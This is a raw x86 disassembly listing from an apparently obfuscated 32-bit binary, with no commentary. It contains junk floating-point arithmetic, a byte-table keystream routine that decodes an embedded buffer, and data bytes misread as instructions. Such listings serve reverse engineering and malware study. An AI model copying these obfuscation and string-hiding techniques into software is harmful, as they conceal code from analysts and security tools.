mulsd xmm0, qword [ebp - 0x3f80]
movsd qword [ebp - 0x3abc], xmm0
movsd xmm0, qword [ebp - 0x3c88]
divsd xmm0, qword [ebp - 0x3c1c]
movsd qword [ebp - 0x3c88], xmm0
movsd xmm0, qword [ebp - 0x3abc]
addsd xmm0, qword [ebp - 0x3f80]
movsd qword [ebp - 0x3abc], xmm0
movsd xmm0, qword [ebp - 0x3c1c]
divsd xmm0, qword [ebp - 0x3c88]
movsd qword [ebp - 0x3c1c], xmm0
movsd xmm0, qword [ebp - 0x3abc]
comisd xmm0, xmmword [ebp - 0x3f80]
jbe 0x432dcc
movsd xmm0, qword [ebp - 0x3c1c]
subsd xmm0, qword [ebp - 0x3c88]
movsd qword [ebp - 0x3c1c], xmm0
movsd xmm0, qword [ebp - 0x3f80]
mulsd xmm0, qword [ebp - 0x3abc]
movsd qword [ebp - 0x3f80], xmm0
movsd xmm0, qword [ebp - 0x3abc]
subsd xmm0, qword [ebp - 0x3f80]
movsd qword [ebp - 0x3abc], xmm0
movsd xmm0, qword [ebp - 0x3abc]
divsd xmm0, qword [ebp - 0x3f80]
movsd qword [ebp - 0x3abc], xmm0
jmp 0x432f60
movsd xmm0, qword [ebp - 0x3abc]
mulsd xmm0, qword [ebp - 0x3f80]
movsd qword [ebp - 0x3abc], xmm0
movsd xmm0, qword [ebp - 0x3f80]
subsd xmm0, qword [ebp - 0x3abc]
movsd qword [ebp - 0x3f80], xmm0
movsd xmm0, qword [ebp - 0x3c1c]
addsd xmm0, qword [ebp - 0x3c88]
movsd qword [ebp - 0x3c1c], xmm0
movsd xmm0, qword [ebp - 0x3c1c]
addsd xmm0, qword [ebp - 0x3c88]
movsd qword [ebp - 0x3c1c], xmm0
movsd xmm0, qword [ebp - 0x3c88]
divsd xmm0, qword [ebp - 0x3c1c]
movsd qword [ebp - 0x3c88], xmm0
movsd xmm0, qword [ebp - 0x3abc]
divsd xmm0, qword [ebp - 0x3f80]
movsd qword [ebp - 0x3abc], xmm0
movsd xmm0, qword [ebp - 0x3f80]
divsd xmm0, qword [ebp - 0x3abc]
movsd qword [ebp - 0x3f80], xmm0
movsd xmm0, qword [ebp - 0x3c88]
divsd xmm0, qword [ebp - 0x3c1c]
movsd qword [ebp - 0x3c88], xmm0
movsd xmm0, qword [ebp - 0x3c1c]
comisd xmm0, xmmword [ebp - 0x3c88]
jbe 0x432f00
movsd xmm0, qword [ebp - 0x3c1c]
subsd xmm0, qword [ebp - 0x3c88]
movsd qword [ebp - 0x3c1c], xmm0
movsd xmm0, qword [ebp - 0x3f80]
mulsd xmm0, qword [ebp - 0x3abc]
movsd qword [ebp - 0x3f80], xmm0
movsd xmm0, qword [ebp - 0x3f80]
addsd xmm0, qword [ebp - 0x3abc]
movsd qword [ebp - 0x3f80], xmm0
movsd xmm0, qword [ebp - 0x3c88]
divsd xmm0, qword [ebp - 0x3c1c]
movsd qword [ebp - 0x3c88], xmm0
jmp 0x432f60
movsd xmm0, qword [ebp - 0x3c1c]
subsd xmm0, qword [ebp - 0x3abc]
movsd qword [ebp - 0x3c1c], xmm0
movsd xmm0, qword [ebp - 0x3c88]
addsd xmm0, qword [ebp - 0x3f80]
movsd qword [ebp - 0x3c88], xmm0
movsd xmm0, qword [ebp - 0x3c88]
divsd xmm0, qword [ebp - 0x3f80]
movsd qword [ebp - 0x3c88], xmm0
movsd xmm0, qword [ebp - 0x3c1c]
addsd xmm0, qword [ebp - 0x3abc]
movsd qword [ebp - 0x3c1c], xmm0
jmp 0x432fd1
movsd xmm0, qword [ebp - 0x3c1c]
subsd xmm0, qword [ebp - 0x3c88]
movsd qword [ebp - 0x3c1c], xmm0
movsd xmm0, qword [ebp - 0x3abc]
addsd xmm0, qword [ebp - 0x3f80]
movsd qword [ebp - 0x3abc], xmm0
movsd xmm0, qword [ebp - 0x3f80]
addsd xmm0, qword [ebp - 0x3abc]
movsd qword [ebp - 0x3f80], xmm0
movsd xmm0, qword [ebp - 0x3c1c]
addsd xmm0, qword [ebp - 0x3c88]
movsd qword [ebp - 0x3c1c], xmm0
mov ecx, dword [ebp - 0x41bc]
shl ecx, 4
mov dword [ebp - 0x426c], ecx
mov edx, dword [ebp - 0x41c0]
mov dword [ebp - 0x4268], edx
mov eax, dword [ebp - 0x426c]
or eax, dword [ebp - 0x4268]
mov dword [ebp - 0x4264], eax
mov cl, byte [ebp - 0x4264]
mov byte [ebp - 0x3373], cl
movzx edx, byte [ebp - 0x331a]
mov al, byte [ebp + edx - 0x69e8]
mov byte [ebp - 0x3375], al
movzx ecx, byte [ebp - 0x32e4]
movzx edx, byte [ebp + ecx - 0x69e8]
movzx eax, byte [ebp - 0x3306]
add eax, edx
mov byte [ebp - 0x3306], al
mov cl, byte [ebp - 0x32e4]
add cl, 1
mov byte [ebp - 0x32e4], cl
movzx edx, byte [ebp - 0x3306]
movzx eax, byte [ebp - 0x331a]
mov cl, byte [ebp + edx - 0x69e8]
mov byte [ebp + eax - 0x69e8], cl
movzx edx, byte [ebp - 0x330a]
movzx eax, byte [ebp - 0x3306]
mov cl, byte [ebp + edx - 0x69e8]
mov byte [ebp + eax - 0x69e8], cl
movzx edx, byte [ebp - 0x32e4]
movzx eax, byte [ebp - 0x330a]
mov cl, byte [ebp + edx - 0x69e8]
mov byte [ebp + eax - 0x69e8], cl
movzx edx, byte [ebp - 0x32e4]
mov al, byte [ebp - 0x3375]
mov byte [ebp + edx - 0x69e8], al
movzx ecx, byte [ebp - 0x3375]
movzx edx, byte [ebp + ecx - 0x69e8]
movzx eax, byte [ebp - 0x3374]
add eax, edx
mov byte [ebp - 0x3374], al
movzx ecx, byte [ebp - 0x3373]
movzx edx, byte [ebp - 0x3306]
movzx eax, byte [ebp + edx - 0x69e8]
movzx edx, byte [ebp - 0x32e4]
movzx edx, byte [ebp + edx - 0x69e8]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x69e8]
xor ecx, eax
movzx edx, byte [ebp - 0x330a]
movzx eax, byte [ebp + edx - 0x69e8]
movzx edx, byte [ebp - 0x331a]
movzx edx, byte [ebp + edx - 0x69e8]
add eax, edx
movzx edx, byte [ebp - 0x3374]
movzx edx, byte [ebp + edx - 0x69e8]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x69e8]
movzx edx, byte [ebp + eax - 0x69e8]
xor ecx, edx
mov byte [ebp - 0x330a], cl
mov al, byte [ebp - 0x3373]
mov byte [ebp - 0x331a], al
mov cl, byte [ebp - 0x330a]
mov byte [ebp - 0x3455], cl
cmp dword [ebp - 0x359c], 0
jle 0x43317d
movsx dx, byte [ebp - 0x3455]
mov eax, dword [ebp - 0x359c]
mov word [ebp + eax*2 - 0x3a2], dx
jmp 0x432571
mov ecx, dword [ebp - 0x3d08]
add ecx, 1
mov dword [ebp - 0x3d08], ecx
mov edx, 2
imul eax, edx, 0x23
mov dword [ebp - 0x5130], eax
cmp dword [ebp - 0x5130], 0x48
jae 0x4331aa
jmp 0x4331af
call fcn.009f5b17
xor ecx, ecx
mov edx, dword [ebp - 0x5130]
mov word [ebp + edx - 0x3a0], cx
jmp 0x433215
mov dword [ebp - 0x4944], 0
jmp 0x4331dc
mov eax, dword [ebp - 0x4944]
add eax, 1
mov dword [ebp - 0x4944], eax
cmp dword [ebp - 0x4944], 0x24
jge 0x433215
mov ecx, dword [ebp - 0x4944]
shl ecx, 1
mov dword [ebp - 0x512c], ecx
cmp dword [ebp - 0x512c], 0x48
jae 0x4331fe
jmp 0x433203
call fcn.009f5b17
xor edx, edx
mov eax, dword [ebp - 0x512c]
mov word [ebp + eax - 0x3a0], dx
jmp 0x4331cd
push 0
push 1
mov ecx, dword [ebp - 0x4590]
push ecx
lea edx, [ebp - 0x200]
push edx
push 0
lea eax, [ebp - 0x3a0]
push eax
movzx ecx, byte [ebp + 0xc]
push ecx
call fcn.00428c90
add esp, 0x1c
mov dword [ebp - 0x325c], 0
mov dword [ebp - 0x3260], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x4734], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x45d0], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x45d0], xmm0
jmp 0x43328c
movsd xmm0, qword [ebp - 0x45d0]
addsd xmm0, qword [0xa71358]
movsd qword [ebp - 0x45d0], xmm0
movsd xmm0, qword [0xa71938]
comisd xmm0, xmmword [ebp - 0x45d0]
jbe 0x43333d
movsd xmm0, qword [0xa716c0]
mulsd xmm0, qword [ebp - 0x45d0]
mulsd xmm0, qword [ebp - 0x45d0]
movsd xmm1, qword [ebp - 0x45d0]
mulsd xmm1, qword [ebp - 0x45d0]
subsd xmm0, xmm1
movsd xmm1, qword [0xa71418]
mulsd xmm1, qword [ebp - 0x45d0]
mulsd xmm1, qword [ebp - 0x45d0]
addsd xmm1, qword [0xa714e8]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x4734]
movsd qword [ebp - 0x4734], xmm0
movsd xmm0, qword [ebp - 0x4734]
comisd xmm0, xmmword [0xa71560]
jbe 0x433338
movsd xmm0, qword [0xa71300]
mulsd xmm0, qword [ebp - 0x45d0]
movsd xmm1, qword [ebp - 0x4734]
subsd xmm1, xmm0
movsd qword [ebp - 0x4734], xmm1
jmp 0x433274
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x4734]
jbe 0x4333c3
sub dword [edx], esi
dec ecx
pop si
aaa
inc eax
jge 0x43337c
dec edi
bound esi, qword [edx]
cmp bh, byte [ebp + 0x74]
outsb dx, byte cs:[esi]
and eax, 0x7d456077
push 0x7a456564
pop ebx
int1
push ebx
int1
pop eax
hlt
push esi
pop eax
neg byte [eax - 5]
push edi
std
push edi
not dword [ecx - 8]
push eax
neg byte [ebx - 5]
push eax
not dword [eax - 4]
push eax
cli
dec edi
invalid
mov dword [ebp - 0x325c], 0x433366
mov dword [ebp - 0x3260], 0x43334a
mov edx, dword [ebp - 0x325c]
mov dword [ebp - 0x409c], edx
mov eax, dword [ebp - 0x3260]
mov dword [ebp - 0x636c], eax
mov byte [ebp - 0x3fef], 0x20
mov dword [ebp - 0x37a0], 0
jmp 0x433411
mov ecx, dword [ebp - 0x37a0]
add ecx, 1
mov dword [ebp - 0x37a0], ecx
cmp dword [ebp - 0x37a0], 0x100
jae 0x433432
mov edx, dword [ebp - 0x37a0]
mov al, byte [ebp - 0x37a0]
mov byte [ebp + edx - 0x65d8], al
jmp 0x433402
mov dword [ebp - 0x44e0], 0
mov byte [ebp - 0x335a], 0
mov dword [ebp - 0x37a0], 0xff
jmp 0x43345e
mov ecx, dword [ebp - 0x37a0]
sub ecx, 1
mov dword [ebp - 0x37a0], ecx
cmp dword [ebp - 0x37a0], 0
jbe 0x4336ce
mov dword [ebp - 0x4b54], 0
mov dword [ebp - 0x4948], 1
mov edx, dword [ebp - 0x4948]
cmp edx, dword [ebp - 0x37a0]
jae 0x43349f
mov eax, dword [ebp - 0x4948]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x4948], ecx
jmp 0x43347f
mov edx, dword [ebp - 0x44e0]
mov dword [ebp - 0x5128], edx
cmp dword [ebp - 0x5128], 3
ja case.default.0x4334be
mov eax, dword [ebp - 0x5128]
jmp dword [eax*4 + 0x46afc8]
movzx ecx, byte [ebp - 0x335a]
movzx ebx, byte [ebp + ecx - 0x65d8]
movsd xmm0, qword [ebp - 0x4734]
call fcn.009f5ff0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x335a], bl
jmp 0x4335a7
movzx edx, byte [ebp - 0x335a]
movzx ebx, byte [ebp + edx - 0x65d8]
movsd xmm0, qword [ebp - 0x4734]
call fcn.009f5ff0
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x335a], bl
jmp 0x4335a7
movzx eax, byte [ebp - 0x335a]
movzx ebx, byte [ebp + eax - 0x65d8]
movsd xmm0, qword [ebp - 0x4734]
call fcn.009f5ff0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x335a], bl
jmp 0x4335a7
movzx ecx, byte [ebp - 0x335a]
movzx ebx, byte [ebp + ecx - 0x65d8]
movsd xmm0, qword [ebp - 0x4734]
call fcn.009f5ff0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x335a], bl
jmp 0x4335a7
movzx edx, byte [ebp - 0x335a]
movzx eax, byte [ebp + edx - 0x65d8]
mov ecx, dword [ebp - 0x636c]
add ecx, dword [ebp - 0x44e0]
movzx edx, byte [ecx - 4]
add eax, edx
mov byte [ebp - 0x335a], al
mov eax, dword [ebp - 0x44e0]
add eax, 1
mov dword [ebp - 0x44e0], eax
movzx ecx, byte [ebp - 0x3fef]
cmp dword [ebp - 0x44e0], ecx
jb 0x4335e5
mov dword [ebp - 0x44e0], 0
movzx edx, byte [ebp - 0x3fef]
movzx eax, byte [ebp - 0x335a]
add eax, edx
mov byte [ebp - 0x335a], al
movzx ecx, byte [ebp - 0x335a]
and ecx, dword [ebp - 0x4948]
mov dword [ebp - 0x4260], ecx
mov edx, dword [ebp - 0x4b54]
add edx, 1
mov dword [ebp - 0x4b54], edx
cmp dword [ebp - 0x4b54], 0xb
jbe 0x433624
mov eax, dword [ebp - 0x4260]
xor edx, edx
div dword [ebp - 0x37a0]
mov dword [ebp - 0x4260], edx
mov eax, dword [ebp - 0x4260]
cmp eax, dword [ebp - 0x37a0]
ja 0x43349f
mov ecx, dword [ebp - 0x37a0]
cmp ecx, dword [ebp - 0x4260]
je 0x4336c9
mov edx, dword [ebp - 0x4260]
movzx eax, byte [ebp + edx - 0x65d8]
mov ecx, dword [ebp - 0x37a0]
movzx edx, byte [ebp + ecx - 0x65d8]
xor edx, eax
mov eax, dword [ebp - 0x37a0]
mov byte [ebp + eax - 0x65d8], dl
mov ecx, dword [ebp - 0x37a0]
movzx edx, byte [ebp + ecx - 0x65d8]
mov eax, dword [ebp - 0x4260]
movzx ecx, byte [ebp + eax - 0x65d8]
xor ecx, edx
mov edx, dword [ebp - 0x4260]
mov byte [ebp + edx - 0x65d8], cl
mov eax, dword [ebp - 0x4260]
movzx ecx, byte [ebp + eax - 0x65d8]
mov edx, dword [ebp - 0x37a0]
movzx eax, byte [ebp + edx - 0x65d8]
xor eax, ecx
mov ecx, dword [ebp - 0x37a0]
mov byte [ebp + ecx - 0x65d8], al
jmp 0x43344f
mov edx, 1
shl edx, 0
mov al, byte [ebp + edx - 0x65d8]
mov byte [ebp - 0x32ba], al
mov ecx, 1
imul edx, ecx, 3
mov al, byte [ebp + edx - 0x65d8]
mov byte [ebp - 0x32d3], al
mov ecx, 1
imul edx, ecx, 5
mov al, byte [ebp + edx - 0x65d8]
mov byte [ebp - 0x3329], al
mov ecx, 1
imul edx, ecx, 7
mov al, byte [ebp + edx - 0x65d8]
mov byte [ebp - 0x32d2], al
movzx ecx, byte [ebp - 0x335a]
mov dl, byte [ebp + ecx - 0x65d8]
mov byte [ebp - 0x3309], dl
mov dword [ebp - 0x5124], 0x58
cmp dword [ebp - 0x5124], 2
jle 0x4350d7
mov eax, dword [ebp - 0x5124]
and eax, 1
jne 0x4350d7
mov dword [ebp - 0x3464], 0
mov dword [ebp - 0x39c0], 0
mov ecx, dword [ebp - 0x39c0]
add ecx, 1
mov dword [ebp - 0x39c0], ecx
mov dword [ebp - 0x4098], 0
mov edx, dword [ebp - 0x3464]
shl edx, 1
mov dword [ebp - 0x4098], edx
mov dword [ebp - 0x3f2c], 0
mov eax, dword [ebp - 0x409c]
add eax, dword [ebp - 0x4098]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x3f2c]
mov dword [ebp - 0x3f2c], ecx
mov dword [ebp - 0x3f30], 0
mov edx, dword [ebp - 0x3f30]
add edx, 0x4d
mov dword [ebp - 0x3f30], edx
mov dword [ebp - 0x40a0], 0
mov eax, dword [ebp - 0x3464]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x40a0], ecx
mov dword [ebp - 0x3fb4], 0
mov edx, dword [ebp - 0x409c]
add edx, dword [ebp - 0x40a0]
movzx eax, byte [edx]
add eax, dword [ebp - 0x3fb4]
mov dword [ebp - 0x3fb4], eax
mov dword [ebp - 0x3fb0], 0
mov ecx, dword [ebp - 0x3fb0]
add ecx, 0xef
mov dword [ebp - 0x3fb0], ecx
mov dword [ebp - 0x3fbc], 0
mov edx, dword [ebp - 0x3f2c]
sub edx, dword [ebp - 0x3f30]
add edx, dword [ebp - 0x3fbc]
mov dword [ebp - 0x3fbc], edx
mov dword [ebp - 0x3f5c], 0
mov eax, dword [ebp - 0x3fb4]
sub eax, dword [ebp - 0x3fb0]
add eax, dword [ebp - 0x3f5c]
mov dword [ebp - 0x3f5c], eax
mov dword [ebp - 0x40a4], 0
mov ecx, dword [ebp - 0x3fbc]
shl ecx, 4
mov dword [ebp - 0x40a4], ecx
mov dword [ebp - 0x40a8], 0
mov edx, dword [ebp - 0x3f5c]
mov dword [ebp - 0x40a8], edx
mov dword [ebp - 0x40ac], 0
mov eax, dword [ebp - 0x40a4]
or eax, dword [ebp - 0x40a8]
mov dword [ebp - 0x40ac], eax
mov byte [ebp - 0x332d], 0
mov cl, byte [ebp - 0x40ac]
mov byte [ebp - 0x332d], cl
mov byte [ebp - 0x332a], 0
movzx edx, byte [ebp - 0x3309]
mov al, byte [ebp + edx - 0x65d8]
mov byte [ebp - 0x332a], al
movzx ecx, byte [ebp - 0x32ba]
movzx edx, byte [ebp + ecx - 0x65d8]
movzx eax, byte [ebp - 0x32d3]
add eax, edx
mov byte [ebp - 0x32d3], al
mov cl, byte [ebp - 0x32ba]
add cl, 1
mov byte [ebp - 0x32ba], cl
movzx edx, byte [ebp - 0x32d3]
movzx eax, byte [ebp - 0x3309]
mov cl, byte [ebp + edx - 0x65d8]
mov byte [ebp + eax - 0x65d8], cl
movzx edx, byte [ebp - 0x32d2]
movzx eax, byte [ebp - 0x32d3]
mov cl, byte [ebp + edx - 0x65d8]
mov byte [ebp + eax - 0x65d8], cl
movzx edx, byte [ebp - 0x32ba]
movzx eax, byte [ebp - 0x32d2]
mov cl, byte [ebp + edx - 0x65d8]
mov byte [ebp + eax - 0x65d8], cl
movzx edx, byte [ebp - 0x32ba]
mov al, byte [ebp - 0x332a]
mov byte [ebp + edx - 0x65d8], al
movzx ecx, byte [ebp - 0x332a]
movzx edx, byte [ebp + ecx - 0x65d8]
movzx eax, byte [ebp - 0x3329]
add eax, edx
mov byte [ebp - 0x3329], al
movzx ecx, byte [ebp - 0x332d]
movzx edx, byte [ebp - 0x32d3]
movzx eax, byte [ebp + edx - 0x65d8]
movzx edx, byte [ebp - 0x32ba]
movzx edx, byte [ebp + edx - 0x65d8]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x65d8]
xor ecx, eax
movzx edx, byte [ebp - 0x32d2]
movzx eax, byte [ebp + edx - 0x65d8]
movzx edx, byte [ebp - 0x3309]
movzx edx, byte [ebp + edx - 0x65d8]
add eax, edx
movzx edx, byte [ebp - 0x3329]
movzx edx, byte [ebp + edx - 0x65d8]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x65d8]
movzx edx, byte [ebp + eax - 0x65d8]
xor ecx, edx
mov byte [ebp - 0x32d2], cl
mov al, byte [ebp - 0x332d]
mov byte [ebp - 0x3309], al
mov cl, byte [ebp - 0x32d2]
mov byte [ebp - 0x33c0], cl
cmp dword [ebp - 0x3464], 0
jle 0x433a5b
movsx dx, byte [ebp - 0x33c0]
mov eax, dword [ebp - 0x3464]
mov word [ebp + eax*2 - 0x3fa], dx
mov ecx, dword [ebp - 0x3464]
add ecx, 1
mov dword [ebp - 0x3464], ecx
mov edx, dword [ebp - 0x39c0]
add edx, 1
mov dword [ebp - 0x39c0], edx
mov eax, dword [ebp - 0x3464]
shl eax, 1
mov dword [ebp - 0x4098], eax
mov ecx, dword [ebp - 0x409c]
add ecx, dword [ebp - 0x4098]
movzx edx, byte [ecx]
mov dword [ebp - 0x3f2c], edx
mov dword [ebp - 0x3f30], 0x4d
mov eax, dword [ebp - 0x3464]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x40a0], ecx
movsd xmm0, qword [0xa71db0]
movsd qword [ebp - 0x3a08], xmm0
movsd xmm0, qword [0xa71c38]
movsd qword [ebp - 0x3e9c], xmm0
movsd xmm0, qword [0xa71a58]
movsd qword [ebp - 0x3994], xmm0
movsd xmm0, qword [0xa717c8]
movsd qword [ebp - 0x3ffc], xmm0
movsd xmm0, qword [ebp - 0x3a08]
addsd xmm0, qword [ebp - 0x3ffc]
movsd qword [ebp - 0x3a08], xmm0
movsd xmm0, qword [ebp - 0x3e9c]
subsd xmm0, qword [ebp - 0x3ffc]
movsd qword [ebp - 0x3e9c], xmm0
movsd xmm0, qword [ebp - 0x3994]
mulsd xmm0, qword [ebp - 0x3ffc]
movsd qword [ebp - 0x3994], xmm0
movsd xmm0, qword [ebp - 0x3a08]
mulsd xmm0, qword [ebp - 0x3ffc]
movsd qword [ebp - 0x3a08], xmm0
movsd xmm0, qword [ebp - 0x3a08]
comisd xmm0, xmmword [ebp - 0x3ffc]
jbe 0x433be2
movsd xmm0, qword [ebp - 0x3e9c]
addsd xmm0, qword [ebp - 0x3ffc]
movsd qword [ebp - 0x3e9c], xmm0
movsd xmm0, qword [ebp - 0x3994]
subsd xmm0, qword [ebp - 0x3a08]
movsd qword [ebp - 0x3994], xmm0
movsd xmm0, qword [ebp - 0x3e9c]
mulsd xmm0, qword [ebp - 0x3ffc]
movsd qword [ebp - 0x3e9c], xmm0
movsd xmm0, qword [ebp - 0x3a08]
mulsd xmm0, qword [ebp - 0x3994]
movsd qword [ebp - 0x3a08], xmm0
mov edx, dword [ebp - 0x409c]
add edx, dword [ebp - 0x40a0]
movzx eax, byte [edx]
mov dword [ebp - 0x3fb4], eax
jmp 0x433ead
movsd xmm0, qword [ebp - 0x3ffc]
divsd xmm0, qword [ebp - 0x3a08]
movsd qword [ebp - 0x3ffc], xmm0
movsd xmm0, qword [ebp - 0x3e9c]
subsd xmm0, qword [ebp - 0x3994]
movsd qword [ebp - 0x3e9c], xmm0
movsd xmm0, qword [ebp - 0x3ffc]
divsd xmm0, qword [ebp - 0x3a08]
movsd qword [ebp - 0x3ffc], xmm0
movsd xmm0, qword [ebp - 0x3e9c]
addsd xmm0, qword [ebp - 0x3994]
movsd qword [ebp - 0x3e9c], xmm0
movsd xmm0, qword [ebp - 0x3e9c]
subsd xmm0, qword [ebp - 0x3994]
movsd qword [ebp - 0x3e9c], xmm0
movsd xmm0, qword [ebp - 0x3e9c]
mulsd xmm0, qword [ebp - 0x3994]
movsd qword [ebp - 0x3e9c], xmm0
movsd xmm0, qword [ebp - 0x3994]
addsd xmm0, qword [ebp - 0x3ffc]
movsd qword [ebp - 0x3994], xmm0
movsd xmm0, qword [ebp - 0x3a08]
subsd xmm0, qword [ebp - 0x3e9c]
movsd qword [ebp - 0x3a08], xmm0
movsd xmm0, qword [ebp - 0x3994]
comisd xmm0, xmmword [ebp - 0x3a08]
jbe 0x433d19
movsd xmm0, qword [ebp - 0x3a08]
addsd xmm0, qword [ebp - 0x3e9c]
movsd qword [ebp - 0x3a08], xmm0
movsd xmm0, qword [ebp - 0x3a08]
mulsd xmm0, qword [ebp - 0x3e9c]
movsd qword [ebp - 0x3a08], xmm0
movsd xmm0, qword [ebp - 0x3a08]
addsd xmm0, qword [ebp - 0x3e9c]
movsd qword [ebp - 0x3a08], xmm0
movsd xmm0, qword [ebp - 0x3994]
subsd xmm0, qword [ebp - 0x3ffc]
movsd qword [ebp - 0x3994], xmm0
jmp 0x433ead
movsd xmm0, qword [ebp - 0x3994]
mulsd xmm0, qword [ebp - 0x3a08]
movsd qword [ebp - 0x3994], xmm0
movsd xmm0, qword [ebp - 0x3ffc]
subsd xmm0, qword [ebp - 0x3e9c]
movsd qword [ebp - 0x3ffc], xmm0
movsd xmm0, qword [ebp - 0x3e9c]
addsd xmm0, qword [ebp - 0x3ffc]
movsd qword [ebp - 0x3e9c], xmm0
movsd xmm0, qword [ebp - 0x3a08]
mulsd xmm0, qword [ebp - 0x3994]
movsd qword [ebp - 0x3a08], xmm0
movsd xmm0, qword [ebp - 0x3994]
mulsd xmm0, qword [ebp - 0x3a08]
movsd qword [ebp - 0x3994], xmm0
movsd xmm0, qword [ebp - 0x3994]
divsd xmm0, qword [ebp - 0x3a08]
movsd qword [ebp - 0x3994], xmm0
movsd xmm0, qword [ebp - 0x3a08]
addsd xmm0, qword [ebp - 0x3994]
movsd qword [ebp - 0x3a08], xmm0
movsd xmm0, qword [ebp - 0x3994]
divsd xmm0, qword [ebp - 0x3a08]
movsd qword [ebp - 0x3994], xmm0
movsd xmm0, qword [ebp - 0x3a08]
comisd xmm0, xmmword [ebp - 0x3994]
jbe 0x433e4d
movsd xmm0, qword [ebp - 0x3a08]
addsd xmm0, qword [ebp - 0x3e9c]
movsd qword [ebp - 0x3a08], xmm0
movsd xmm0, qword [ebp - 0x3994]
mulsd xmm0, qword [ebp - 0x3ffc]
movsd qword [ebp - 0x3994], xmm0
movsd xmm0, qword [ebp - 0x3994]
subsd xmm0, qword [ebp - 0x3ffc]
movsd qword [ebp - 0x3994], xmm0
movsd xmm0, qword [ebp - 0x3994]
divsd xmm0, qword [ebp - 0x3ffc]
movsd qword [ebp - 0x3994], xmm0
jmp 0x433ead
movsd xmm0, qword [ebp - 0x3994]
mulsd xmm0, qword [ebp - 0x3ffc]
movsd qword [ebp - 0x3994], xmm0
movsd xmm0, qword [ebp - 0x3a08]
divsd xmm0, qword [ebp - 0x3e9c]
movsd qword [ebp - 0x3a08], xmm0
movsd xmm0, qword [ebp - 0x3ffc]
addsd xmm0, qword [ebp - 0x3a08]
movsd qword [ebp - 0x3ffc], xmm0
movsd xmm0, qword [ebp - 0x3e9c]
divsd xmm0, qword [ebp - 0x3994]
movsd qword [ebp - 0x3e9c], xmm0
mov dword [ebp - 0x3fb0], 0xef
mov ecx, dword [ebp - 0x3f2c]
sub ecx, dword [ebp - 0x3f30]
mov dword [ebp - 0x3fbc], ecx
mov edx, dword [ebp - 0x3fb4]
sub edx, dword [ebp - 0x3fb0]
mov dword [ebp - 0x3f5c], edx
mov eax, dword [ebp - 0x3fbc]
shl eax, 4
mov dword [ebp - 0x40a4], eax
mov ecx, dword [ebp - 0x3f5c]
mov dword [ebp - 0x40a8], ecx
mov edx, dword [ebp - 0x40a4]
or edx, dword [ebp - 0x40a8]
mov dword [ebp - 0x40ac], edx
mov al, byte [ebp - 0x40ac]
mov byte [ebp - 0x332d], al
movzx ecx, byte [ebp - 0x3309]
mov dl, byte [ebp + ecx - 0x65d8]
mov byte [ebp - 0x332a], dl
movzx eax, byte [ebp - 0x32ba]
movzx ecx, byte [ebp + eax - 0x65d8]
movzx edx, byte [ebp - 0x32d3]
add edx, ecx
mov byte [ebp - 0x32d3], dl
mov al, byte [ebp - 0x32ba]
add al, 1
mov byte [ebp - 0x32ba], al
movzx ecx, byte [ebp - 0x32d3]
movzx edx, byte [ebp - 0x3309]
mov al, byte [ebp + ecx - 0x65d8]
mov byte [ebp + edx - 0x65d8], al
movzx ecx, byte [ebp - 0x32d2]
movzx edx, byte [ebp - 0x32d3]
mov al, byte [ebp + ecx - 0x65d8]
mov byte [ebp + edx - 0x65d8], al
movzx ecx, byte [ebp - 0x32ba]
movzx edx, byte [ebp - 0x32d2]
mov al, byte [ebp + ecx - 0x65d8]
mov byte [ebp + edx - 0x65d8], al
movzx ecx, byte [ebp - 0x32ba]
mov dl, byte [ebp - 0x332a]
mov byte [ebp + ecx - 0x65d8], dl
movzx eax, byte [ebp - 0x332a]
movzx ecx, byte [ebp + eax - 0x65d8]
movzx edx, byte [ebp - 0x3329]
add edx, ecx
mov byte [ebp - 0x3329], dl
movzx eax, byte [ebp - 0x332d]
movzx ecx, byte [ebp - 0x32d3]
movzx edx, byte [ebp + ecx - 0x65d8]
movzx ecx, byte [ebp - 0x32ba]
movzx ecx, byte [ebp + ecx - 0x65d8]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x65d8]
xor eax, edx
movzx ecx, byte [ebp - 0x32d2]
movzx edx, byte [ebp + ecx - 0x65d8]
movzx ecx, byte [ebp - 0x3309]
movzx ecx, byte [ebp + ecx - 0x65d8]
add edx, ecx
movzx ecx, byte [ebp - 0x3329]
movzx ecx, byte [ebp + ecx - 0x65d8]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x65d8]
movzx ecx, byte [ebp + edx - 0x65d8]
xor eax, ecx
mov byte [ebp - 0x32d2], al
mov dl, byte [ebp - 0x332d]
mov byte [ebp - 0x3309], dl
mov al, byte [ebp - 0x32d2]
mov byte [ebp - 0x33c0], al
cmp dword [ebp - 0x3464], 0
jle 0x434097
movsx cx, byte [ebp - 0x33c0]
mov edx, dword [ebp - 0x3464]
mov word [ebp + edx*2 - 0x3fa], cx
mov eax, dword [ebp - 0x3464]
add eax, 1
mov dword [ebp - 0x3464], eax
mov ecx, dword [ebp - 0x39c0]
add ecx, 1
mov dword [ebp - 0x39c0], ecx
mov edx, dword [ebp - 0x3464]
shl edx, 1
mov dword [ebp - 0x4098], edx
mov eax, dword [ebp - 0x409c]
add eax, dword [ebp - 0x4098]
movzx ecx, byte [eax]
mov dword [ebp - 0x3f2c], ecx
mov dword [ebp - 0x3f30], 0x4d
mov edx, dword [ebp - 0x3464]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x40a0], eax
mov ecx, dword [ebp - 0x409c]
add ecx, dword [ebp - 0x40a0]
movzx edx, byte [ecx]
mov dword [ebp - 0x3fb4], edx
mov dword [ebp - 0x3fb0], 0xef
mov eax, dword [ebp - 0x3f2c]
